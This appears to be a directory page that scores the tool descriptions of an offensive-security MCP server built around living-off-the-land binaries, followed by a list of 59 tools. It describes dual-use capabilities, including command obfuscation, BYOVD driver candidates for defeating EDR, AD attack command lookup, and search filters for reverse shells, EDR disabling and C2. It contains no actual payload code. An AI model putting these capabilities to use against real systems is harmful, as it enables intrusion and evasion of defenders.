Map threat actor TTPs to LOL binary techniques — actor-to-technique lookup, technique-to-actor reverse mapping, actor profiles, campaign analysis, and environment-based actor prediction.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Threat actor mapping mode | |
| actor | No | Threat actor name (e.g. APT29, FIN7, Lazarus) | |
| campaign | No | Campaign name to analyze | |
| technique_id | No | LOL technique or binary name to reverse-map | |
| environment_id | No | Environment session ID for prediction |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description bears full burden. It lists modes but does not disclose read-only nature, side effects, performance implications, or output format. For a tool with multiple modes, the description lacks behavioral details like whether it makes external calls or has limits. This is insufficient for safe automatic invocation.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single efficient sentence listing all capabilities. It front-loads the main purpose. However, a bulleted list or clearer separation of modes would improve clarity. Still, no wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's complexity (5 parameters, 5 modes, no output schema, no annotations), the description is too sparse. It does not explain what each mode returns, how they differ, or provide examples. The sibling tool list is large, so more contextual detail is needed for appropriate selection and use.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with descriptive parameter names and enum values. The description adds no new parameter details beyond the schema, only summarizing modes in prose. Baseline 3 is appropriate since the schema already defines parameter semantics adequately.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool maps threat actor TTPs to LOL binary techniques and lists five distinct modes covering actor-to-technique lookup, reverse mapping, profiles, campaign analysis, and environment-based prediction. This distinguishes it from siblings like map_attck or search_techniques by focusing specifically on threat actors and LOL binaries.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool versus alternatives. The description implies usage through mode names, but does not state prerequisites, when not to use, or compare to siblings (e.g., map_attck, identify_technique). The context is not fully provided for an agent to choose correctly.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
obfuscate_payloadB
Obfuscate commands using LOL techniques — glob wildcards, encoding, alternative binaries, string concatenation, environment variable substitution
| Name | Required | Description | Default |
|---|---|---|---|
| method | Yes | Obfuscation method to apply | |
| command | Yes | Command string to obfuscate | |
| platform | Yes | Target platform for obfuscation | |
| iterations | No | Number of obfuscation iterations to apply | |
| avoid_patterns | No | Patterns to avoid in the obfuscated output |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description must fully disclose behavioral traits. It only lists obfuscation methods but fails to mention whether the command is modified in place, if there are platform-specific limitations, or if the obfuscation is reversible. Essential details like side effects or output format are omitted.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, concise sentence that lists the techniques. It is front-loaded with the core purpose. However, it could be structured more helpfully by separating methods or adding a brief example.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's complexity (5 parameters, 3 required, no output schema), the description is too minimal. It does not explain what the return value is, how iterations affect output, or how avoid_patterns works. For a complete understanding, an agent would need more detail.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so baseline is 3. The description repeats some enum values (e.g., method options) already in the schema but does not add new meaning for parameters like command, platform, iterations, or avoid_patterns. No additional context is provided beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly specifies what the tool does: 'Obfuscate commands using LOL techniques' and lists specific techniques (glob, encoding, alternative_binary, string_concat, env_var). This verb+resource combination distinguishes it from sibling tools like chain_obfuscation or generate_payload, which have different purposes.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is given on when to use this tool versus alternatives (e.g., chain_obfuscation, generate_payload). There is no mention of prerequisites, exclusions, or when to choose one method over another. The description only lists techniques without contextual usage advice.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
query_wadcomsA
Query WADComs (Windows/Active Directory Commands) database — search commands, filter by attack type, service, or required tool for AD attacks.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | WADComs query mode | search |
| query | No | Keyword to search in WADComs commands | |
| service | No | Filter by service: LDAP, Kerberos, SMB, MSSQL | |
| os_filter | No | Filter by OS | |
| attack_type | No | Filter by attack type | |
| required_tool | No | Filter by required tool: impacket, rubeus, crackmapexec |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries full burden for behavioral disclosure. It does not specify read-only nature, authentication needs, rate limits, or the format of returned data. This is insufficient.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The single-sentence description is front-loaded with the main purpose and is concise. It lacks a bit of structure but has no wasted content.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Without an output schema, the description fails to explain what the tool returns (e.g., command names, full commands, descriptions). It does not cover limitations or dependencies, leaving gaps for an agent.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with descriptions for all 6 parameters. The description reiterates filtering capabilities but adds no new meaning beyond the schema. Baseline score applies.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool queries a database of Windows/Active Directory commands and supports filtering by attack type, service, or tool. It is distinct from sibling tools which focus on analysis, mapping, or generation.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for searching AD commands and filtering, providing clear context. However, it does not explicitly state when not to use it or mention alternatives among the many sibling tools.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
scan_driversB
Scan and analyze drivers against LOLDrivers database — hash lookup, name lookup, BYOVD candidates, certificate checking, vulnerable driver matching.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Driver scan mode | |
| target_edr | No | Target EDR to find BYOVD candidates for | |
| driver_list | No | List of loaded drivers to check | |
| include_malicious | No | Include malicious drivers |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are present, so the description must fully disclose behavioral traits. It states what the tool does but does not cover side effects (e.g., network calls, quotas), error handling, or what happens when no drivers match. The description is functional but lacks transparency about behavior beyond the listed modes.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence listing capabilities, which is concise and front-loaded. It avoids redundancy with the schema. However, it could be slightly more structured (e.g., separate usage guidance) but is efficient for its length.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool has 4 parameters (one required) and no output schema, the description lacks important context. It does not specify what the tool returns (e.g., results format, empty results handling), how to choose between modes, or any side effects. For a tool with multiple modes and dependencies, this is insufficient for complete understanding.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, and parameter descriptions are already in the schema. The description repeats the mode options but does not add extra meaning (e.g., format requirements, relation between parameters). For example, it doesn't clarify when target_edr is needed (only for byovd_candidates mode). Baseline score of 3 is appropriate as the description adds marginal value.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool scans and analyzes drivers against the LOLDrivers database, listing specific operations like hash lookup, name lookup, BYOVD candidates, certificate checking, and vulnerable driver matching. It uses a specific verb ('scan and analyze') and identifies the resource (drivers vs LOLDrivers), making it distinct from sibling tools which focus on other domains.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool versus alternatives. There is no mention of prerequisites, decision criteria for choosing a mode, or exclusions (e.g., 'use this for driver-specific checks; for general binary analysis, see analyze_binary'). The description lacks context for appropriate usage.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
score_red_vs_blueB
Score red team vs blue team posture — detection coverage scoring, blind spot severity, overall security posture, improvement plan.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Scoring mode | |
| environment_id | No | Environment session ID |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are present, and the description does not disclose behavioral traits such as whether the tool is read-only, requires authentication, has rate limits, or any side effects. The agent has no information on impact or prerequisites.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single concise sentence that front-loads the purpose and lists the four modes. It is efficient with no wasted words, though structuring the modes as a list could improve clarity.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema and no annotations, the description should cover return values and behavioral context. It fails to describe what the tool returns or how the environment_id is used, leaving significant gaps for effective use.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, with both parameters described adequately in the schema. The description adds no additional meaning or context beyond the schema, meeting the baseline but not exceeding it.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool scores red vs blue team posture with four specific modes: detection coverage scoring, blind spot severity, overall security posture, and improvement plan. This differentiates it from sibling tools that focus on discovery or analysis.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool versus alternatives like assess_detection_gaps or find_detection_blind_spots. The description does not specify context or exclusions, leaving the agent to infer usage.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
search_techniquesB
Search LOL techniques by function, ATT&CK ID, platform, stealth score, catalog, keyword, detection coverage, or combined filters. Returns matching entries with full details.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Search mode | |
| limit | No | Max results to return | |
| offset | No | Pagination offset | |
| catalog | No | For catalog mode: gtfobins, lolbas, loobins, loldrivers, lolrmm, etc. | |
| filters | No | For combined mode: apply multiple filters simultaneously | |
| keyword | No | For keyword mode: free-text search across binary names, descriptions, commands | |
| attck_id | No | For attck mode: T1059.006, T1548.001, etc. | |
| function | No | For function mode: shell, reverse_shell, download, upload, edr_disable, c2, etc. | |
| platform | No | For platform mode or as additional filter | |
| max_stealth | No | For stealth mode: max stealth score (1-5) | |
| has_detection | No | For detection_coverage mode: true=has rules, false=no coverage |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It states the tool returns matching entries but omits behavioral details such as pagination behavior, rate limits, data freshness, or whether results are exhaustive. The information provided is minimal beyond the obvious.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two sentences, front-loaded with the core action and supported criteria. No extraneous words, and every part adds value. Efficient use of space.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's complexity (11 parameters, nested objects, multiple modes), the description is too generic. It does not explain how modes work together, how combined filters are used, or what 'full details' means. Without an output schema, more context is needed for the agent to understand the response structure.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, with each parameter having a brief description. The tool description adds no additional meaning beyond what is already in the schema. Baseline of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool searches for LOL techniques by multiple criteria (function, ATT&CK ID, platform, etc.) and returns full details. It uses a specific verb 'Search' and resource 'LOL techniques', and implicitly differentiates from siblings by being a broad search tool.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description lists many search modes but does not explicitly state when to use this tool versus alternative sibling tools (e.g., find_defense_evasion). No guidance on when-not-to-use or preferred contexts is provided.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
simulate_adversaryA
Simulate adversary behavior using LOL binaries — select simulation profile, generate playbook, validate environment, create execution plan.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Adversary simulation mode | |
| objectives | No | Simulation objectives | |
| actor_profile | No | Adversary profile: APT29, FIN7, Lazarus, etc. | |
| environment_id | No | Environment session ID |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description carries full burden. It lists steps but does not disclose safety, permissions, destructiveness, or side effects (e.g., resource creation). Lacks transparency about environment validation and execution plan implications.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence, front-loaded with purpose, no wasted words. Efficiently conveys key action and steps.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema and multi-step nature, description explains steps but does not specify return values, prerequisites (e.g., environment_id), or what 'validate environment' and 'execution plan' entail. Sufficient for basic understanding but incomplete for complex orchestration.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. Description adds context by linking mode enum to the steps, but does not significantly enhance meaning beyond schema descriptions (e.g., 'objectives', 'actor_profile', 'environment_id' are already described).
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the tool simulates adversary behavior using LOL binaries and enumerates the specific steps (select profile, generate playbook, validate environment, create execution plan). This distinguishes it from siblings which are mostly discovery/analysis tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Implies usage for adversary simulation, but no explicit when-to-use, when-not-to-use, or alternatives. Among siblings, 'generate_purple_team_plan' might overlap but is not mentioned.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
track_technique_evolutionB
Track evolution of LOL binary techniques over time — usage history, OS version changes affecting techniques, and deprecated/removed techniques.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Evolution tracking mode | |
| binary | No | Binary name to track evolution of | |
| os_version | No | OS version to check (e.g. 'Windows 11', 'Ubuntu 24.04') |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden. It fails to disclose behavioral traits such as read-only nature, potential side effects, or required permissions.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that conveys purpose efficiently, but it could be more structured (e.g., bullet points) for quicker scanning.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the parameter complexity (3 params, 1 enum, no output schema), the description covers basic functionality but lacks usage guidance and behavioral transparency, leaving gaps.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so the baseline is 3. The description adds no extra meaning beyond the schema; e.g., the enum values for 'mode' are not explained.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: tracking the evolution of LOL binary techniques over time, including usage history, OS version changes, and deprecations. This distinguishes it from siblings like 'analyze_binary' or 'compare_os_versions'.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool versus its siblings. The description does not mention alternative tools or provide context for invocation decisions.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
update_knowledge_baseB
Manage the LOL knowledge base: update all catalogs from upstream, update a specific catalog, show diffs, or display statistics.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | KB management mode | |
| since | No | For diff: ISO date to compare against | |
| catalog | No | For update_catalog: specific catalog name (gtfobins, lolbas, loobins, loldrivers) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden. It discloses the operations but lacks details on side effects (e.g., time to update, network requirements, whether updates are destructive). The description does not address authorization or rate limits.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, front-loaded sentence that efficiently conveys the tool's purpose and operations. Every word serves a function with no redundancy.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's multiple modes and complexity, the description is insufficient. It lacks details about diff output, statistics format, prerequisites, or expected behavior. With no output schema or annotations, the agent may need additional context to use this tool correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 100% coverage, so parameters are already well-described. The description adds a high-level context (managing the KB with four modes) but does not provide additional meaning beyond what the schema already conveys.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states that the tool manages the LOL knowledge base and lists four specific actions (update all, update specific, diff, stats). This differentiates it from sibling tools which focus on analysis and discovery rather than knowledge base management.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies when to use the tool (when managing the knowledge base) but does not explicitly state when not to use it or mention alternative tools. Given the large number of siblings, a clearer usage guide would be beneficial.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
visualize_attack_pathC
Visualize attack paths and chains — Mermaid diagrams, Graphviz DOT, ASCII trees, JSON graph data.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Visualization format | |
| path_type | No | Attack path type to visualize | |
| environment_id | No | Environment session ID |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are present, so the description carries the full burden. It does not disclose behavioral traits like whether the tool modifies state, requires environment_id to be set, or how it handles missing data. Only output formats are listed.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that is front-loaded and concise. Every part contributes, but the brevity sacrifices completeness.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema and many sibling tools, the description is incomplete. It does not explain what the tool returns (e.g., a string, file path) or how to use the output. Context about prerequisites and variation by format is missing.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so the baseline is 3. The description lists output formats but adds no additional meaning beyond the schema's enum descriptions. For example, it does not explain when to choose mermaid vs graphviz.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb (visualize) and resource (attack paths and chains) and lists output formats, but it does not differentiate this tool from sibling tools like discover_chains or find_escalation_paths, which may also deal with attack paths.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool versus alternatives. The description lacks context such as prerequisites (e.g., having found paths first) or scenarios where one format is preferred.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
59 tool updates
v0.1.0- First observed
analyze_binary - First observed
analyze_detection_effectiveness - First observed
analyze_environment - First observed
analyze_forensic_artifact - First observed
analyze_opsec_risk - First observed
assess_detection_gaps - First observed
build_attack_plan - First observed
chain_obfuscation - First observed
compare_os_versions - First observed
compare_platforms - First observed
correlate_incident_timeline - First observed
discover_chains - First observed
enumerate_host - First observed
export_caldera_profile - First observed
export_report - First observed
find_antiforensics - First observed
find_c2_channels - First observed
find_cicd_abuse - First observed
find_cloud_abuse - First observed
find_collection - First observed
find_com_abuse - First observed
find_container_escape - First observed
find_credential_access - First observed
find_defense_evasion - First observed
find_detection_blind_spots - First observed
find_discovery - First observed
find_dll_hijack - First observed
find_environment_variable_abuse - First observed
find_escalation_paths - First observed
find_execution_proxy - First observed
find_exfiltration_paths - First observed
find_initial_access - First observed
find_lateral_movement - First observed
find_macos_tcc_bypass - First observed
find_named_pipe_abuse - First observed
find_native_crypto - First observed
find_package_manager_abuse - First observed
find_persistence_paths - First observed
find_process_manipulation - First observed
find_rmm_abuse - First observed
find_token_abuse - First observed
find_wmi_abuse - First observed
generate_detection - First observed
generate_payload - First observed
generate_purple_team_plan - First observed
generate_staged_payload - First observed
identify_technique - First observed
lookup_binary - First observed
map_attck - First observed
map_threat_actor - First observed
obfuscate_payload - First observed
query_wadcoms - First observed
scan_drivers - First observed
score_red_vs_blue - First observed
search_techniques - First observed
simulate_adversary - First observed
track_technique_evolution - First observed
update_knowledge_base - First observed
visualize_attack_path
TDQS
Scored across 59 tools
Most tools target distinct attack techniques or functions (e.g., find_escalation_paths, find_c2_channels). Some overlap exists between generic tools like analyze_environment and enumerate_host, but the naming clearly differentiates most tools.
All tools follow a consistent verb_noun pattern in snake_case (e.g., find_credential_access, export_report, scan_drivers). No mixed conventions or ambiguous names.
With 59 tools, the server covers a broad domain but feels over-specialized with many niche tools (e.g., find_macos_tcc_bypass, find_rmm_abuse). Consolidation could improve usability.
The tool set covers a wide range of attack stages (initial access, persistence, detection, exfiltration, etc.) and includes analysis, planning, and reporting. Minor gaps exist but do not hinder core workflows.
Maintenance
Related MCP Connectors
A registry of AI agent tools — MCP servers, APIs, CLIs, SDKs — kept current by automated ingestion.
Live index of AI agents, MCP servers and tools with observed liveness and capability search.
Find, compare, and audit software for AI agents. Scored registry of tools and MCP servers.
- UnifAPIOAuthcom.unifapi
Hosted MCP server for live public-data APIs and Skills for AI agents.
Related MCP Servers
- AlicenseNot gradedqualityAmaintenanceAn MCP server that exposes a 60+ tool security and threat-intel stack to AI agents, enabling secret scanning, Sigma rule generation, ransomware lookup, OSINT, and deep research.1MIT
- AlicenseAqualityCmaintenanceMCP server that lets AI agents use the Online Cyber Tools catalogue as a set of native MCP tools.10016 npm1MIT
- AlicenseNot gradedqualityDmaintenanceA comprehensive MCP server that exposes multiple OSINT tools to AI assistants like Claude, enabling sophisticated reconnaissance and information gathering tasks using industry-standard OSINT tools.237MIT
- AlicenseAqualityDmaintenanceDark web & threat intelligence for AI agents. HIBP, ThreatFox, ransomware tracking, Tor .onion access, blockchain intel, exploit search, stealer logs, malware analysis — unified into a single MCP server.66186 npm442MIT